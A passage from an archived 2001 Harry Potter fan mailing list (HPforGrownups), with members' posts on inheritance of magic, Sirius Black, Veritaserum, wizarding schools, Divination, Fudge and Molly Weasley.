> come she was born with magical powers? Is it a recessive gene? Also 
> if witches can be born to Muggles, then can Muggles be born to 
> witches?
I would think it might be a recessive trait...After all, if Muggles 
couldn't possess magical abilities, the whole pure-blood, mudblood issue 
wouldn't have come up in the first place.
And in CoS, I think, we learn about Squibbs, because Harry discovers 
Filch's Kwikspell curse...And we find out that those people are b0orn 
with no magical abilities but with wizard parents.
This is my first post...so hello!!
Shannon
 


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From klhurt at yahoo.com  Tue Sep  4 16:43:16 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Tue, 4 Sep 2001 09:43:16 -0700 (PDT)
Subject: [HPforGrownups] Observations and Questions
In-Reply-To: <000701c134ef$19c036e0$fe24bb18@OEMCOMPUTER>
Message-ID: <20010904164316.18505.qmail@web14201.mail.yahoo.com>

No: HPFGUIDX 25538

--- Patrick Dawson <wcdawson at optonline.net> wrote:

>Whether you take it from Hagrid's
>perspective or from the truth, there's
>at least one evil wizard from
>Gryffindor (Sirius Black or Peter
>Pettigrew). So why did Hagrid say
>that?

I don't think we've ever been explicitly told that Sirius & Peter are,
for a fact, Gryffindor alumini.

>Lucius must hate Snape for betraying
>Voldemort,

Lucius Malfoy may not know that Snape was a spy.

Also, Snape turned against Voldemort but it doesn't mean he doesn't
have the same basic hatreds & prejudices.

Kelly the Yarn Junkie


=====
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From usergoogol at yahoo.com  Tue Sep  4 16:45:02 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Tue, 04 Sep 2001 16:45:02 -0000
Subject: HP/children's literature
In-Reply-To: <6d.19a6e0cf.28c4361c@aol.com>
Message-ID: <9n30ee+552d@eGroups.com>

No: HPFGUIDX 25539

What'd I like?

History of Magic
Hogwarts, a History
Magical Plants and Fungi
A simple guide to muggles

That last one I think would be quite amusing.




From klhurt at yahoo.com  Tue Sep  4 16:51:16 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Tue, 4 Sep 2001 09:51:16 -0700 (PDT)
Subject: [HPforGrownups] Re: Where can Harry go?
In-Reply-To: <9n13ah+lh7e@eGroups.com>
Message-ID: <20010904165116.82385.qmail@web14208.mail.yahoo.com>

No: HPFGUIDX 25540

Godric's Hollow
Ministry of Magic
Azkaban
Malfoy's house
St. Mungo's Hospital (gets my vote)
Egypt
Romania
Durmstrang
Beauxbatons
Hermione's house
Other schoolmate's house
Lupin's house
Chamberpot Room
Other castle area 
the future
Smeltings
Aunt Marge's
Ravenclaw common room
Hufflepuff common room
Sirius's tropical hiding place

Kelly the Yarn Junkie

=====
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for Adults
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From blpurdom at yahoo.com  Tue Sep  4 16:55:30 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Tue, 04 Sep 2001 16:55:30 -0000
Subject: Sirius's Appeal
In-Reply-To: <MABBIOAJAKBIIEFEFANKCELHCJAA.monika@darwin.inka.de>
Message-ID: <9n3122+3ih9@eGroups.com>

No: HPFGUIDX 25541

--- In HPforGrownups at y..., "Monika Huebner" <monika at d...> wrote:
> 
> > --- In HPforGrownups at y..., "Mindy, a.k.a. CLH" <mindyatime at j...> 
> > wrote:
> 
> > Here's another question that has been puzzling me: How come so 
many of
> > you listies are sooo ga-ga over Sirius?  

Funny, I thought the title of the mail referred to "appeal" in the 
legal sense, as in Sirius' trial (wouldn't be a retrial, since he 
never had one).  <vbg>  Silly me.  At the same time, it occurred to 
me that the need for Sirius to have an appeal (legal one) is part of 
his appeal (I love playing with language!).  It's The Fugitive 
phonomenon.  The Fugitive was accused of killing someone close to him 
(his wife--for Sirius, his best friends).  The killer is someone 
else, whom the Fugitive is pursuing (the one-armed man for The 
Fugitive, Wormtail--who now has a silver hand--for Sirius).  Odd 
parallel I never noticed before...The difference is that there isn't 
just one man pursuing OUR fugitive (Sirius) a la Inspector Javert.  
Still, funny how the title got me thinking about legal appeals and 
then I went to the Fugitive comparison...I think there's just 
something about the noble man wrongly accused, seeking justice for 
himself...

--Barb





From magpie1112 at yahoo.com  Tue Sep  4 17:05:22 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 17:05:22 -0000
Subject: Sirius's Appeal
In-Reply-To: <20010904010543.41739.qmail@web13807.mail.yahoo.com>
Message-ID: <9n31ki+s0b8@eGroups.com>

No: HPFGUIDX 25542

--- In HPforGrownups at y..., Tammy Z <too_much_coffee_lady at y...> wrote:
> Sirius remembers about the trip permission slip and
> sends in his last note - all the things he's going
> through and the man signs a permission slip!  
> 
> I truely agree with you Rose - he makes me teary eyed
> too!
> --- rose590 at y... wrote:
> > --- In HPforGrownups at y..., "Monika Huebner"
> > <monika at d...> wrote:
> > > 
> > > > --- In HPforGrownups at y..., "Mindy, a.k.a. CLH"
> > <mindyatime at j...> 
> > > > wrote:
> > > 
> > > > Here's another question that has been puzzling
> > > > me: How come so many of you listies are sooo ga-ga over 
> > > > Sirius? he comes across to me as a whispy, filthy, grimy, 
> > > > emaciated skeleton. 


Let's not forget that he wasn't always a whispy, filthy, grimy, 
emaciated skeleton.  In PoA, Harry looks at the photo album and sees 
Sirius is "...handsome, full of laughter".  Couple that with a "if 
he's good enough for James & Lily, he's good enough for me" vibe, and 
that pretty much describes why I find Sirius so special.  

Not to take anything away from my real crush (Lupin), of course!








From blpurdom at yahoo.com  Tue Sep  4 17:09:30 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Tue, 04 Sep 2001 17:09:30 -0000
Subject: Veritaserum
In-Reply-To: <9n0sot+atvp@eGroups.com>
Message-ID: <9n31sa+mtvl@eGroups.com>

No: HPFGUIDX 25543

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> BTW, I think Dumbledore is going to get sacked for using 
Veritaserum 
> on Crouch.  Snape said its use is governed by strict Ministry 
> guidelines.  We don't know what they are, but I'd bet Dumbledore 
> didn't comply with them.
> 

This is unlikely, as Fudge had the dementors administer the kiss to 
Crouch.  Somehow, that seems far worse than giving him the truth 
serum.  The wizarding world probably looks upon the serum with as 
much suspicion as lie-detector tests in the Muggle world.  If there 
is a government out there you know of which admits these tests into 
court or allows their results to be written into the record of a 
trial, let me know.

--Barb





From Manda1999 at aol.com  Tue Sep  4 17:15:13 2001
From: Manda1999 at aol.com (Manda1999 at aol.com)
Date: Tue, 04 Sep 2001 17:15:13 -0000
Subject: Wizard demographics?
In-Reply-To: <4.2.0.58.20010904080923.009eab70@mail.mcn.org>
Message-ID: <9n3271+9emi@eGroups.com>

No: HPFGUIDX 25544

--- In HPforGrownups at y..., Catherine Keegan <keegan at m...> wrote:
> At 02:59 PM 9/4/01 +0000, you wrote:
> >--- In HPforGrownups at y..., Elbereth <elbereth at d...> wrote:
> > > frantyck at y... wrote:
> > > >You know, the idea of a wizarding school in New York City 
sounds
> > > >great. Probably wouldn't surprise New Yorkers much. A great big
> > > >warehouse (tall enough for Quidditch) or a large, nondescript
> > > >building with no visible entrance...
> > > >
> >It could be that North Am. is home to many small schools.    It 
would
> >still give us Americans all kinds of possibilites with the smaller
> >schools (surfer wizards in Santa Cruz, CA!  "traditionalist" 
witches
> >in Salem, MA!)  Just a thought.
> 

This is my first post since I've just joined and spent the past 
couple of days just reading, but I think we've already seen one 
American school. In GoF when Harry, Ron, and Hermione are going for 
water at the campground, it says they saw a bunch of American witches 
under a sign that said Salem Witches' Institute. 




From blpurdom at yahoo.com  Tue Sep  4 17:17:39 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Tue, 04 Sep 2001 17:17:39 -0000
Subject: A "Duh!" moment -- Rita Skeeter
In-Reply-To: <9n167c+t7qi@eGroups.com>
Message-ID: <9n32bj+fpqs@eGroups.com>

No: HPFGUIDX 25545

--- In HPforGrownups at y..., scaryfairymary at h... wrote:
> --- In HPforGrownups at y..., John Walton <john at w...> wrote:
> > 
> > And then it hit me. "Skeeter" is an American slang abbreviation of
> > "MoSQUIto". And Rita Skeeter is a bug animagus. I can't believe I 
> didn't notice that before! A "DUH!" moment indeed.
> > 
> > Just thought I'd share :D
 
> Wow cool!! I would have never noticed that (I didnt even know of 
that slang word, I'm not American) Thanks for pointing that out :P

Actually, I noticed that the first time she was introduced, and then 
when things started popping up in the news that shouldn't be, and 
Malfoy was obviously talking to something in his hand, I thought it 
had to be Rita Skeeter in Animagus form.  BUT--I expected her to then 
be a mosquito, not a beetle!  (I based this on what JKR did with 
Lupin's name and Sirius' name).  Since JKR isn't American, either, 
perhaps she thought this was a generic American slang term 
for "bug."  So I still didn't take notice of the beetle on the statue 
when Ron and Harry overhead Hagrid talking to Madam Maxim, nor the 
beetle Hermione said Viktor removed from her hair, because the name 
led me to believe she should be a "skeeter!"

--Barb





From magpie1112 at yahoo.com  Tue Sep  4 17:27:04 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 17:27:04 -0000
Subject: The Case Against Ludo Bagman
In-Reply-To: <F54LzkI2zEn3qHkwZPy00004271@hotmail.com>
Message-ID: <9n32t8+et5q@eGroups.com>

No: HPFGUIDX 25546

--- In HPforGrownups at y..., "Ali Wildgoose" <diagonalley_ at h...> wrote:
> Cindy wrote:
> >I've been wondering if it is really true that Ludo Bagman fled
> >because of his goblin difficulties.  I'm starting to think he is a
> >full-fledged DE who is going to be very important in later books, 
and
> >he knew about and participated in V's and Crouch/Moody's plan all
> >along.
> 
> <snips list of reasons>
> 
> >Anyone else have an opinion?
> 
> Personally, I think he's just an idiot with bad judgement.  A very 
> nice, friendly, jolly sort of idiot...but an idiot all the same.  I 
> don't think he's really crafty enough to be a DE...
>


"Crafty enough"?  Hmmm.  Although I understand that when you think 
DE's, you think crafty head-honchos, I doubt that brains really come 
into play.  Cause let's face it - Mr. Crabbe & Mr. Goyle don't 
exactly come off as the most intelligent fellas in the world.  And 
Voldy may bestow the DE title on those he doesn't feel truly make the 
cut but who need a bit of ego stroking because of who they are (like 
a famous, but daft, former Quidditch player/MoM employee).

Thanks for the thread, Cindy!  I figured Ludo was just a bit of comic 
entertainment, but you have me all but convinced that something may 
be lurking beneath....

Denise (who is wondering if Mr. Weasley is the only MoM employee that 
doesn't have a secret)




From caliburncy at yahoo.com  Tue Sep  4 17:37:17 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Tue, 04 Sep 2001 17:37:17 -0000
Subject: Observations and Questions
In-Reply-To: <9n2van+fski@eGroups.com>
Message-ID: <9n33gd+oocp@eGroups.com>

No: HPFGUIDX 25547

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> It is amusing, though, that Fudge says the worst Black did isn't 
> widely known, yet Rosemerta seems to be the only one in the dark.  
> Even Stan and Ernie on the Knight Bus knew.  

Actually, again (sorry!), I must point out that we don't have proof 
that Stan and Ernie know more than Mme. Rosmerta.

Looking at the scene they seem to know that Sirius (allegedly) killed 
thirteen people (and allegedy laughed about it), but they don't seem 
to know anything about him (allegedly) betraying the Potters, which is 
the thing Mme. Rosmerta is being informed about in this scene.

Stan also seems to think Sirius was up to be V.'s second-in-command, 
but this is of course just a false rumor so whether Rosmerta knew that 
or not would be of no consequence.

> Also, it's hard to believe Hagrid didn't spill the beans to 
> Rosemerta over the years.

You're right about that.  Hagrid is a bit of a water-mouth ("Ah, so 
there's someone named Nicholas Flamel involved, is there?"--or 
whatever the exact quote is).

> It also struck me as odd that the Minister of Magic 
> chooses to reveal something that isn't widely known in a crowded bar 
> for the sole purpose of enlightening a barkeep.  But then again, I 
> couldn't think of anyone else JKR could have used instead of 
> Rosemerta for this purpose, so I guess that's the best one can do 
> with it.  

You're right about this too, but I think it could be explained.  Fudge 
is a classic "everyman's" politician in that he's very social and 
down-to-earth so that people like him.  He acts like he's your best 
friend and part of this is undoubtedly making you feel like he trusts 
you with priveliged information--when, in fact, what really IS the 
harm if Mme. Rosmerta finds out that Black (alledgedly) betrayed the 
Potters?  More hatred for Black, more sympathy for Harry?  What's that 
to Fudge?

I should add however, that it's not ALL an act and I think Fudge 
generally believes himself to be a very gregarious fellow.  Too a 
certain extent he is just chatting and not being particularly 
prudent.  I am basing this partly on someone I knew (more acquantaince 
than friend) who was exactly the same way.  He was extremely 
superficial in his friendliness, but not because he was trying to act, 
he just had no clear sense of self in order to be more genuine.  He 
will one day be a masterful politician, I have no doubt.  But he'll 
never have any really strong, true relationships unless something 
about him changes--and that's very sad.

-Luke




From Koinonia2 at hotmail.com  Tue Sep  4 17:47:15 2001
From: Koinonia2 at hotmail.com (Koinonia2 at hotmail.com)
Date: Tue, 04 Sep 2001 17:47:15 -0000
Subject: Inheritance of Magical Abilities
In-Reply-To: <9n2hp8+s7tp@eGroups.com>
Message-ID: <9n3433+qlk6@eGroups.com>

No: HPFGUIDX 25548

--- In HPforGrownups at y..., mdconnolly at h... wrote:
> Apologies if this question has been asked before, and if it has 
could 
> somebody please point me in the direction of the original message.
> 
> Hermione's parents are both Muggles, whereas she is a witch. So how 
> come she was born with magical powers? Is it a recessive gene? Also 
> if witches can be born to Muggles, then can Muggles be born to 
> witches?


I believe it just happens :-)

Scholastic Interview/February 3, 2000

Question:  Since Harry Potter's parents were sorcerers and Petunia 
was Harry's mother's sister, shouldn't Petunia be a witch or wizard?

Answer:  No.  As Hagrid explains in Book I, sometimes a witch or a 
wizard occurs in an otherwise Muggle family, just as a Squib is a non-
magic person who occurs in an otherwise magic family.

Question:  How can two Muggles have a kid with magical powers?  Also 
how does the Ministry of Magic find out these kids have powers?

Answer:  It's the same as two black-haired people producing a 
redheaded child.  Sometimes these things just happen & no one really 
knows why!  The Ministry of Magic doesn't find out which children are 
magic.  In Hogwarts there's a magical quill which detects the birth 
of a magical child, and writes his or her name down in a large 
parchment book.  Every year Professor McGonagall checks the book, and 
sends owls to the people who are turning 11.

Koinonia






From caliburncy at yahoo.com  Tue Sep  4 17:49:30 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Tue, 04 Sep 2001 17:49:30 -0000
Subject: Rules of Divination
In-Reply-To: <9n1dit+maj7@eGroups.com>
Message-ID: <9n347a+fv01@eGroups.com>

No: HPFGUIDX 25549

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> My thought is that there may be various media for "seeing", but 
there 
> also ought to be an innate talent for it.  I would think that if a 
> wizard has that talent, it might show itself in spurts before the 
> wizard has formal training.

Hmm.  I was going to say that the spurts of innate talent should also 
show up only within those "mediums", shouldn't they?--but then I 
thought about Hagrid's comment in PS/SS about whether Harry had ever 
made anything happen he couldn't explain, as though this is normal 
for wizard children.

The pre-trained wizard children seem to make things happen without any 
"medium" (unless you count emotions) and it's largely unfocused and 
partly subconcious.  The trained wizards always seem to have some kind 
of medium to focus their magic, though, like wands or incantations.

So I suppose Divination could be similar--potential is shown without 
necessarilly any medium, but is only developed by using some 
medium--but I'm still not 100% sold.  Especially since everytime 
Trelawney tells a student that they have Seer potential it is after 
they have been using some medium or other.

At least that explains why many people consider these little intuitive 
comments proof, though.  Thanks.

Any more thoughts, anybody?

-Luke




From magpie1112 at yahoo.com  Tue Sep  4 17:51:08 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 17:51:08 -0000
Subject: Veritaserum/Winky
In-Reply-To: <9n31sa+mtvl@eGroups.com>
Message-ID: <9n34ac+53e9@eGroups.com>

No: HPFGUIDX 25550

--- In HPforGrownups at y..., blpurdom at y... wrote:
> 
> The wizarding world probably looks upon the serum with as 
> much suspicion as lie-detector tests in the Muggle world.   
> --Barb

This could be a reason why Winky was included in Barty Jr's 
questioning.  Since cannon hasn't addressed the admissibility of 
Veritaserum in court cases, there is a possibility that, as Barb's 
post suggests, Veritaserum is inadmissible in a court of wizard law, 
just as lie-detector tests are inadmissible in US courts.  

And if evidence that has been gained by Veritaserum is questionable 
in court, some wizards may feel that it's not 100% effective (or that 
given testimony may be incomplete).  So, as one member posted in a 
prior thread, Dumbledore has Winky hear Jr's story in order 
to "prove" the truthfullness of the Veritaserum.


Denise (wishing she had a small vial of Veritaserum for those times 
when you really gotta know)




From fourfuries at aol.com  Tue Sep  4 17:54:10 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Tue, 04 Sep 2001 17:54:10 -0000
Subject: Judging right & wrong in the Potterverse
In-Reply-To: <E15eCGS-000OTp-0Y@anchor-post-34.mail.demon.net>
Message-ID: <9n34g2+pga9@eGroups.com>

No: HPFGUIDX 25551

--- In HPforGrownups at y..., shall at s... wrote:
> historically, no one group has had a monopoly on acting rightly in 
the face of injustice - or even consistency in carrying through 
intensely righteous acts in one sphere into other aspects of their 
personal morality).  The fear of punsihment  argument does not stand 
up as a explanation for individual acts of conscience against the 
prevailing orthodoxy.  To bring this back on topic, why does Hermoine 
join in with Harry and Ron in the plot to get rid of Norbert?  
The "fear" factor is all on the side of standing back from it; what 
causes her to choose differently is that she has a number of 
possible 'good" actions and chooses to elevate loyalty to her friends 
and avoiding pain to Hagrid above the framework of the orthodox 
school moral code.
> Susan

Dear, Dear Susan:)

You and Ms. Snyder both make the same point from opposite positions 
on the subject: it takes more than fear of punishment to explain why 
people do "good" deeds.  Ms. Snyder says that her "good" deeds are a 
function of her faith, and a form of worship.  She denies that she is 
motivated by the fear of consequences (King Solomon's admonition 
that "the fear of the Lord is the Beginning of Wisdom..." not 
withstanding).

You and the original writer, usergoogol, both suggest that people do 
brave and good things because they choose to, without fear of 
consequences, or even in spite of consequences.  Wonderful!

If the atheists and the theists agree that there is more to courage 
and kindness than fear of consequences, maybe we can also agree that 
there must be a standard by which to judge whether someone is being 
brave and kind, or merely self-serving.  Keeping this on topic, as 
you say, what makes Hermione's loyalty to Hagrid or Harry any more 
appropriate than, say, Barty Crouch, Jr's loyalty to Voldemort?  Is 
loyalty in and of itself a good thing, or does the object of the 
loyalty matter?  What makes Dumbledore more worthy of loyalty than 
Voldemort?  What makes Harry's rule breaking more admirable than 
Draco's rule observing?

It can not be merely personal choice: if choice is all there is, then 
how can we judge whether a choice is good or bad?  If we go by 
outcomes, that makes the decison turn on who gets helped and who gets 
hurt, now doesn't it.  I suppose the rule would be that if my friends 
get helped by your choices, then you are good, but if your friends 
get hurt by my choices, I am evil, right?

Obviously, both theists and moral atheists recognize that there ought 
to be more to justice than the power to enforce it.  So both sides 
start talking in terms of "feel good" and "reward".  "Its a form of 
worship", "she had range of 'good' choices... and chose to elevate 
loyalty over orthodox rules".  Both camps beg the question equally 
well, that question being, what makes a good deed good.  If the 
answers is simply that it makes us feel good, then there is still no 
difference between what Voldemort does and what Dumbledore does.

The only way to be sure that a proposed action is in fact good is for 
there to be an objective measure of goodness by which to judge.  The 
religionists use God as this measure.  The moral atheists promote 
enlightened self-interest.  But in the end, the truth of the matter 
is that Good is simply greater than Evil in the absolute sense, and 
it does not matter how we choose, because Good wil choose who it will 
in order to prevail.  Yes, there is free will involved, but 
ultimately Good will prevail regardless of whether any particular 
individual chooses to help out or not.  I mean, really, how else 
could a baby defeat the greatest sorceror of all time, except it be 
fated, in the stars, pre-destined, or the will of that we call God?

4FR






From A.E.B.Bevan at open.ac.uk  Tue Sep  4 18:05:00 2001
From: A.E.B.Bevan at open.ac.uk (A.E.B.Bevan at open.ac.uk)
Date: Tue, 04 Sep 2001 18:05:00 -0000
Subject: The Third Task Audience
Message-ID: <9n354c+pl6s@eGroups.com>

No: HPFGUIDX 25552

Just occured to me why Ive never had any problem with what the 
Audience was seeing during the Third Task in GoF... 

Comes from having Orienteering as my sport years ago.  That takes 
part in forests and so on and basically the competitors are not 
visible to the audience. Competitors have to navigate from control 
point to control point in the course, chosing their own routes.

In major championships though there are 'reporting points' at 
selected locations so the progress of competitors is flagged. It can 
get quite exciting. What I subconsciously assumed in the Third Task I 
realise is that as each champion encountered one of the obstackes a 
commentary flashes up in a form the Champions can't detect. ( " 
Potter runs into the boggart and its a dementor - away goes a 
Patronus from Potter!  And he keeps his head and uses Riddiculus!" )  

This rather magnifes the problem of what happens between Harry and 
Cedric grabbing the trophy and Harry getting Cedric's body back as 
the audience would have known the contest had ended ...

Edis






From magpie1112 at yahoo.com  Tue Sep  4 18:13:30 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 18:13:30 -0000
Subject: Rules of Divination
In-Reply-To: <9n154v+4cbn@eGroups.com>
Message-ID: <9n35ka+ph2b@eGroups.com>

No: HPFGUIDX 25553

--- In HPforGrownups at y..., caliburncy at y... wrote:
> It seems to me that all the canon instances we have suggests that 
> seeing is not done without some kind of "medium".  


Professor Trelawney's prediction (the true one, I mean) comes on her 
quite by surprise.  She drifts into a trance and makes her 
prediction, and then can't remember it after she comes to.  She may 
have been prodded by the crystal ball, but it seems like a totally 
separate occurrence.


> Trelawney does say a couple things during class 
> without first using an aid (all the comments she drops at random in 
> the first lesson), but the assumption might be that she divined 
> them beforehand.  (And she IS a fraud, but that's immaterial)


I dunno - I think that Professor Trelawney is a fraud about 98% of 
the time.  At the end of PoA, Dumbledore says "That brings her total 
of real preditions up to two.  I should give her a pay raise...."  I 
think she has the gift of prediction, but a very, very weak one (one 
that she doesn't seem to be able to harness).  So she makes up for it 
by her knowledge of divination - and knowledge and skill are often 
two different things!


> So what are the rules of Divination, do you guys think?  Under what 
> circumstances does one 'see'?  Surely it's not just a randomly 
> inspired statement that happens to also fit in with the current 
> direction of the conversation?


I think that much like any of the other gifts in cannon (parseltongue 
for example), the true ability to make _accurate_ predictions is 
something a wizard or witch is born with.  And it's probably similar 
to what Trelawney experienced; you "see" something quite by chance, 
depending on the intensity and importance of a particular vision.  
Though I'm sure others with stronger abilities probably remember 
their visions.


Denise (who would love to hear some accurate predictions about book 5)




From magpie1112 at yahoo.com  Tue Sep  4 18:33:06 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 18:33:06 -0000
Subject: Wizarding Schools and other stuff from Digest 1201
In-Reply-To: <3.0.5.32.20010903201903.009c1330@di.org>
Message-ID: <9n36p2+10bdj@eGroups.com>

No: HPFGUIDX 25554

--- In HPforGrownups at y..., Elbereth <elbereth at d...> wrote:
> vheggie at y... wrote, re my poinderings on wizarding schools:
> >9) Fudge - secretly evil or just a moron?
> 
> I'd like to share with you a motto which has served me well my 
> whole life: "Never attribute to evil intent that which can be 
> adequately explained by stupidity."
> 
> Fudge is a politician.  He likes the status quo, he likes his power 
> just as it is thank you very much.  He doesn't want anything 
> disrupting it, doesn't want to share the limelight with Dumbledore, 
> doesn't want to allow the possibility of Voldemort's return because 
> it would change *his* world -- Fudge's is a very egocentric view, 
> IMHO.
> 
> I would be shocked if he turned out to be an evil genius.  Mind 
> you, JKR is good at broadsiding me!  But I'd be willing to put 
> money on "Stupidity" on Fudge's part. 


Ahhh!  Another proponent of Hanlon's Razor!  It's truly amazing how 
closely related stupidity, malice and evil are related.  That said, I 
agree - Fudge is currently a self-absorbed idiot.  If it doesn't fit 
into his definition of the universe, he discounts it.  

With his "my way or the highway" attitude, Fudge is perilously close 
to becoming the evil he despises.  I wouldn't be surprised if Fudge 
signed on to Voldy's team in order to find "order" in the current 
chaos.  And it will be very interesting to see where Percy's hero 
worship takes him - will he blindly follow the MoM, or will he make 
up his own mind?  Oh, the possibilities!


Denise




From kdevine at yahoo.com  Tue Sep  4 18:34:30 2001
From: kdevine at yahoo.com (Kevin Devine)
Date: Tue, 04 Sep 2001 18:34:30 -0000
Subject: Is Ron a seer?
In-Reply-To: <9n2p3u+fkp4@eGroups.com>
Message-ID: <9n36rm+8565@eGroups.com>

No: HPFGUIDX 25555

--- In HPforGrownups at y..., magpie1112 at y... wrote:
> --- In HPforGrownups at y..., pegasus0580 at y... wrote:
> > I also noticed that Mrs. Weasley seems to have some kind of power 
> > too.  She knew that Fred and George had their joke merchandise in 
> > their pockets when they were going to the Quidditch World Cup, 
and 
> > therefore confiscated it.  Or is it that she just knows them well 
> > enough to know what they are up to?
> 
> I have to agree with the prior posts about Mrs. Weasley's Mom-
power; 
> but having said that, I've always thought that Mrs. Weasley has 
more 
> to her than just being Ron's mum.  I'm hoping that beneath it all, 
> there is quite a powerful witch.  I can't back it up with anything 
in 
> cannon, but I think she's the more powerful of the Parents Weasley.

Read the last Chapters of Book Four carefully and you will find that 
Dumbledore immediately asks Molly for her assistance and she replies 
that she and her husband will help.  Forgive me if I sound sexist, 
but usually this would be something discussed.  It seems that Molly 
runs the show completely on domestic and work-related matters.  
Hmmm... makes one think.




From heidi.h.tandy.c92 at alumni.upenn.edu  Tue Sep  4 18:49:15 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Tue, 4 Sep 2001 14:49:15 -0400 
Subject: [HPforGrownups] Re: Is Molly  a seer?
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2B66@MIAEXCH1>

No: HPFGUIDX 25556



> -----Original Message-----
> 
> Read the last Chapters of Book Four carefully and you will find that 
> Dumbledore immediately asks Molly for her assistance and she replies 
> that she and her husband will help.  Forgive me if I sound sexist, 
> but usually this would be something discussed.  It seems that Molly 
> runs the show completely on domestic and work-related matters.  
> Hmmm... makes one think.

I don't think yousound particularly sexist, Kevin, but I do think that Molly
sounds nothing more than married with this. I don't think she
telephathically conversed with Arthur about this before agreeing (if she
had, why would Bill have needed to leave to tell him?), and I don't think
she was Seeing the future and Seeing that they helped. 

I think they've been married well over 30 years, and by that point, they
should be able to predict what the other would agree to do, especially in
life&death circumstances like this.



From magpie1112 at yahoo.com  Tue Sep  4 18:58:07 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 18:58:07 -0000
Subject: Wizard demographics?
In-Reply-To: <9n3271+9emi@eGroups.com>
Message-ID: <9n387v+5lpd@eGroups.com>

No: HPFGUIDX 25557

--- In HPforGrownups at y..., Manda1999 at a... wrote:
> --- In HPforGrownups at y..., Catherine Keegan <keegan at m...> wrote:
> > At 02:59 PM 9/4/01 +0000, you wrote:
> > >It could be that North Am. is home to many small schools.    It 
> > >would still give us Americans all kinds of possibilites with the 
> > >smaller schools (surfer wizards in Santa Cruz, 
> > >CA! "traditionalist" witches in Salem, MA!)  Just a thought.
> > 
> 
> This is my first post since I've just joined and spent the past 
> couple of days just reading, but I think we've already seen one 
> American school. In GoF when Harry, Ron, and Hermione are going for 
> water at the campground, it says they saw a bunch of American 
> witches under a sign that said Salem Witches' Institute.

Well spotted, Manda!  Looks like my traditionalists are out and 
about!  But I wonder if it's a school, or a professional 
organization?  

And there was a prior post on this thread asking about small schools 
along the eastern seaboard of the US.  Oh, there are tons of tiny 
prep schools tucked away - those of the "if you have to ask, you 
can't afford 'em" persuasion.  Could very well be that one of those 
schools is really masking a school for witchcraft & wizardry.  
Hmmm....





From frantyck at yahoo.com  Tue Sep  4 19:05:36 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Tue, 04 Sep 2001 19:05:36 -0000
Subject: Wizard demographics?
In-Reply-To: <9n3271+9emi@eGroups.com>
Message-ID: <9n38m0+4fss@eGroups.com>

No: HPFGUIDX 25558

--- In HPforGrownups at y..., Manda1999 at a... wrote:
> I think we've already seen one 
> American school. In GoF when Harry, Ron, and Hermione are going for 
> water at the campground, it says they saw a bunch of American 
witches 
> under a sign that said Salem Witches' Institute.

Excellent! I'd forgotten all about that. Time to reread those 
chapters. Thanks, Manda.




From foxmoth at qnet.com  Tue Sep  4 19:27:04 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Tue, 04 Sep 2001 19:27:04 -0000
Subject: The Third Task Audience
In-Reply-To: <9n354c+pl6s@eGroups.com>
Message-ID: <9n39u8+ljjl@eGroups.com>

No: HPFGUIDX 25559

--- In HPforGrownups at y..., A.E.B.Bevan at o... wrote:
> Just occured to me why Ive never had any problem with what the 
> Audience was seeing during the Third Task in GoF... 
> 
> Comes from having Orienteering as my sport years ago.  That takes 
> part in forests and so on and basically the competitors are not 
> visible to the audience. Competitors have to navigate from control 
> point to control point in the course, chosing their own routes.
> 
> In major championships though there are 'reporting points' at 
> selected locations so the progress of competitors is flagged. It can 
> get quite exciting. What I subconsciously assumed in the Third Task I 
> realise is that as each champion encountered one of the obstackes a 
> commentary flashes up in a form the Champions can't detect. ( " 
> Potter runs into the boggart and its a dementor - away goes a 
> Patronus from Potter!  And he keeps his head and uses Riddiculus!" )  
> 
> This rather magnifes the problem of what happens between Harry and 
> Cedric grabbing the trophy and Harry getting Cedric's body back as 
> the audience would have known the contest had ended ...
	Great post! We've speculated about reporting, but nobody's ever 
made me see how it could work before. As for what happened at the end 
of the contest, we only need to imagine that when *Moody* altered the 
cup, he altered the reporting spell as well. I also imagine that 
Dumbledore, Mme Maxime and Karkaroff left the judges' box to tend to 
the injured Fleur and Krumm. Maybe Moody had an opportunity to put the 
confundus curse on Bagman and Fudge so that they never noticed the Cup 
was gone.

Pippin





From magpie1112 at yahoo.com  Tue Sep  4 19:40:56 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 19:40:56 -0000
Subject: The Mighty Molly Weasley (was: Is Ron a seer?)
In-Reply-To: <9n36rm+8565@eGroups.com>
Message-ID: <9n3ao8+74dt@eGroups.com>

No: HPFGUIDX 25560

--- In HPforGrownups at y..., "Kevin Devine" <kdevine at y...> wrote:
> --- In HPforGrownups at y..., magpie1112 at y... wrote:
> > I've always thought that Mrs. Weasley has more 
> > to her than just being Ron's mum.  I'm hoping that beneath it 
> > all, there is quite a powerful witch.  I can't back it up with 
> > anything in cannon, but I think she's the more powerful of the 
> > Parents Weasley.
> 
> Read the last Chapters of Book Four carefully and you will find 
> that Dumbledore immediately asks Molly for her assistance and she 
> replies that she and her husband will help.  Forgive me if I sound 
> sexist, but usually this would be something discussed.  It seems 
> that Molly runs the show completely on domestic and work-related 
